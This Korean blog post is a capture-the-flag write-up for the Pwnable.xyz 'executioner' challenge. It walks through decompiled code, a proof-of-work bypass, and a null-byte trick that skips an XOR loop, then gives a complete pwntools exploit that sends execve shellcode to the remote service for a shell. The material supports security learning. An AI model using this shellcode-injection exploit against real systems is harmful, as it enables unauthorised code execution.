tmxklab

[Pwnable.xyz] executioner 본문

War Game/Pwnable.xyz

[Pwnable.xyz] executioner

tmxk4221 2020. 9. 9. 22:27

1. 문제

nc svc.pwnable.xyz 30025

 

1) mitigation 확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _QWORD *v4; // rax
  int i; // [rsp+0h] [rbp-20h]
  int fd; // [rsp+4h] [rbp-1Ch]

  setup(argc, argv, envp);
  solve_pow();
  puts("Shellcode executioner");
  fd = open("/dev/urandom", 0);
  if ( fd != -1 )
  {
    read(fd, key, 0x7FuLL);
    close(fd);
    printf("Input: ");
    read(0, inpt, 0x7FuLL);
    for ( i = 0; i < strlen(inpt); ++i )
      inpt[i] ^= key[i];
    v4 = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
    *v4 = *(_QWORD *)inpt;
    v4[1] = qword_202288;
    v4[2] = qword_202290;
    v4[3] = qword_202298;
    v4[4] = qword_2022A0;
    v4[5] = qword_2022A8;
    v4[6] = qword_2022B0;
    v4[7] = qword_2022B8;
    v4[8] = qword_2022C0;
    v4[9] = qword_2022C8;
    v4[10] = qword_2022D0;
    v4[11] = qword_2022D8;
    v4[12] = qword_2022E0;
    v4[13] = qword_2022E8;
    v4[14] = qword_2022F0;
    v4[15] = qword_2022F8;
    __asm { jmp     rax }
  }
  puts("error");
  return 1;
}
  • solve_pow()가 먼저 실행되고 "/dev/urandom"파일을 open하여 key에 0x7f크기만큼 저장한다.
  • inpt에 0x7f만큼 입력 값을 받고 inpt길이만큼 inpt[i] = inpt[i] xor key[i]를 수행한다.
  • mmap()을 통해 가상 메모리 매핑하여 v4에는 inpt의 포인터 값 그리고 v4[1] ~ v4[15]까지 qword_202288 ~ qword_2022f8의 값으로 초기화한다.
  • 마지막으로 jmp rax를 한다.

 

3-2) solve_pow()

unsigned __int64 solve_pow()
{
  unsigned int buf; // [rsp+8h] [rbp-18h]
  int v2; // [rsp+Ch] [rbp-14h]
  int v3; // [rsp+10h] [rbp-10h]
  int fd; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    puts("Can't open /dev/urandom");
    exit(1);
  }
  buf = 0;
  read(fd, &buf, 4uLL);
  close(fd);
  v2 = 0;
  v3 = 0;
  printf("POW: x + y == 0x%x\n", buf);
  printf("> ");
  if ( (unsigned int)_isoc99_scanf("%d %d", &v2, &v3) != 2 )
  {
    puts("scanf error");
    exit(1);
  }
  getchar();
  if ( v3 + v2 != buf )
  {
    puts("POW failed");
    exit(1);
  }
  puts("Loading challenge... ");
  sleep(v2 * v3);
  return __readfsqword(0x28u) ^ v5;
}
  • buf에 "/dev/urandom"의 값을 4byte만큼 저장한다.
  • v2와 v3가 더한 값이 buf와 일치하지 않으면 프로그램이 종료된다.
  • 근데 v2*v3만큼 sleep한다. 그래서 v2에는 0을 넣고 v3에는 buf의 값을 넣어야 sleep을 지나갈 것 같다.

 

전역변수)

 


2. 접근방법

일단 solve_pow()가 호출되고 문제를 풀면은 main함수의 로직이 실행된다.

solve_pow()에서는 buf변수의 랜덤한 4byte 값이 두 수의 더한 값과 동일하면 통과된다. 하지만 sleep(v2 * v3)로 인해 두 수의 곱이 엄청나게 큰 수가 되면은 많은 시간이 걸린다.

 

따라서, 두 수 중 한개는 0으로 세팅하고 나머지 수는 buf의 수와 동일하면 될 것이다.

 

메인 함수 for문)

    printf("Input: ");
    read(0, inpt, 0x7FuLL);
    for ( i = 0; i < strlen(inpt); ++i )
      inpt[i] ^= key[i];
  • inpt에 0x7f만큼 입력을 받을 수 있고 inpt[i] = inpt[i] xor key[i]를 strlen(inpt)회 반복 수행한다.
  • key값은 "/dev/urandom"에서 랜덤한 값으로 세팅되어 있다.

  • mmap()을 통해 메모리 할당받은 공간의 주소를 rax에 저장하고 inpt의 모든 값들을 rax로 옮겨 놓는다.

  • 모든 inpt의 값을 rax에 옮겨 놓고 rax로 jmp한다.

  • 따라서, jmp하게 되면 mmap영역에 저장된 inpt에 있는 값들을 실행하게 된다.

그러면 inpt에 쉘 코드를 작성하면 되는데 문제는 for문에서 key값과 xor연산하는 부분이다. for문을 반복하는 조건문은 strlen(inpt)이며 strlen()는 문자열의 끝을 널 바이트로 인식하므로 만약에 inpt의 첫 바이트에 널 바이트를 넣게 되면 for문은 바로 종료될 것이다.

 

공격 프로세스)

  • slove_pow()에서 scanf()를 통해 두 개의 입력 값을 받는데 한 개는 0으로 세팅하고 나머지 한 개는 buf값으로 세팅한다.
  • 메인 함수에서 read()를 통해 쉘 코드를 받을 수 있는데 이 때 첫 바이트는 널 바이트로 작성한다.
  • for문이 무시되고 mmap영역으로 옮겨진 쉘 코드를 실행한다.

 

 


3. 풀이

 

1) 익스코드

from pwn import *

context(log_level="debug", arch="amd64", os="linux")

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30025)
#gdb.attach(p)

# 1. solve_pow
p.recvuntil("0x")
data = p.recvuntil("\n")[:-1]

p.sendlineafter("> ", "0")
sleep(1)
p.sendline(str(int(data, 16)))

# 2. shellcode
shellcode = '\x00\x00'
"""
shellcode += asm("xor rax, rax")
shellcode += asm("xor rsi, rsi")
shellcode += asm("xor rdi, rdi")
shellcode += asm("xor rdx, rdx")
shellcode += asm("mov al, 0x3b")
shellcode += asm("movabs rbx, 0x68732f6e69622f2f")
shellcode += asm("push rbx")
shellcode += asm("mov rdi, rsp")
shellcode += asm("syscall")
"""
shellcode += asm(shellcraft.amd64.sh())

p.sendafter("Input: ", shellcode)

p.interactive()
  • 처음에 쉘 코드를 직접 작성하였는데(주석 친 부분) 로컬에서는 되지만 리모트에서는 쉘을 딸 수 없었다.
  • 혹시나 하는 마음에 shellcraft를 사용하였는데 바로 되어서(?) 뭐가 문제인지 모르겠다 띵띵ㅠ

 

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] badayum  (0) 2020.09.09
[Pwnable.xyz] password  (0) 2020.09.09
[Pwnable.xyz] punch it  (0) 2020.09.09
[Pwnable.xyz] catalog  (0) 2020.09.09
[Pwnable.xyz] PvP  (0) 2020.09.09
Comments